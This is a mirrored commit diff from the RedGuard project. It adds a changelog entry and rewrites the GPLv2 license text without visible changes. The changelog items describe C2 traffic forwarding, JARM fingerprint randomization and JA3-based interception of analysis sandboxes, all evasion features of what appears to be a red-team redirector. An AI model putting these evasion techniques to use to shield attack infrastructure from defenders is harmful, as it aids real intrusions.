mirror of
https://github.com/wikiZ/RedGuard
synced 2026-06-08 18:18:32 +00:00
Update RedGuard Version 22.7.22
This commit is contained in:
@@ -1,31 +1,35 @@
|
||||
## [22.7.21.1632] - 2022-7-21
|
||||
### Added
|
||||
- Limit the maximum number of log backup files that can be generated
|
||||
|
||||
## [22.7.14.1043] - 2022-7-14
|
||||
### Added
|
||||
- Resolve the problem that the custom certificate is overwritten
|
||||
|
||||
## [22.7.12.1111] - 2022-7-12
|
||||
### Added
|
||||
- Profile Header authentication ignores case
|
||||
- Disable the default JARM fingerprint randomization parameter
|
||||
- Change the long version name!!
|
||||
- Forward the packet XFF header so that C2 gets the real IP address
|
||||
- Custom configuration file path
|
||||
- Added validity verification for parameter IP input
|
||||
|
||||
## [22.6.28.1712] - 2022-6-28
|
||||
### Added
|
||||
- JA3 fingerprint Identify sandbox
|
||||
- Code has been optimized
|
||||
- Solved the problem that communication cannot be performed normally
|
||||
due to the incompatibility of TLS jarm fingerprint randomize with custom certificates
|
||||
|
||||
## [22.5.26.1716] - 2022-5-26
|
||||
### Added
|
||||
- TLS jarm fingerprint randomize
|
||||
|
||||
## [22.5.20.1220] - 2022-5-20
|
||||
### Added
|
||||
- Initialize project
|
||||
## [22.7.22.1036] - 2022-7-22
|
||||
### Added
|
||||
- Add ThreatBook Cloud SandBox to JA3 Fingerprint Base Interception rule library
|
||||
|
||||
## [22.7.21.1632] - 2022-7-21
|
||||
### Added
|
||||
- Limit the maximum number of log backup files that can be generated
|
||||
|
||||
## [22.7.14.1043] - 2022-7-14
|
||||
### Added
|
||||
- Resolve the problem that the custom certificate is overwritten
|
||||
|
||||
## [22.7.12.1111] - 2022-7-12
|
||||
### Added
|
||||
- Profile Header authentication ignores case
|
||||
- Disable the default JARM fingerprint randomization parameter
|
||||
- Change the long version name!!
|
||||
- Forward the packet XFF header so that C2 gets the real IP address
|
||||
- Custom configuration file path
|
||||
- Added validity verification for parameter IP input
|
||||
|
||||
## [22.6.28.1712] - 2022-6-28
|
||||
### Added
|
||||
- JA3 fingerprint Identify sandbox
|
||||
- Code has been optimized
|
||||
- Solved the problem that communication cannot be performed normally
|
||||
due to the incompatibility of TLS jarm fingerprint randomize with custom certificates
|
||||
|
||||
## [22.5.26.1716] - 2022-5-26
|
||||
### Added
|
||||
- TLS jarm fingerprint randomize
|
||||
|
||||
## [22.5.20.1220] - 2022-5-20
|
||||
### Added
|
||||
- Initialize project
|
||||
|
||||
@@ -1,339 +1,339 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
RedGuard
|
||||
Copyright (C) {2022} {风起}
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
{signature of Ty Coon}, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Lesser General
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
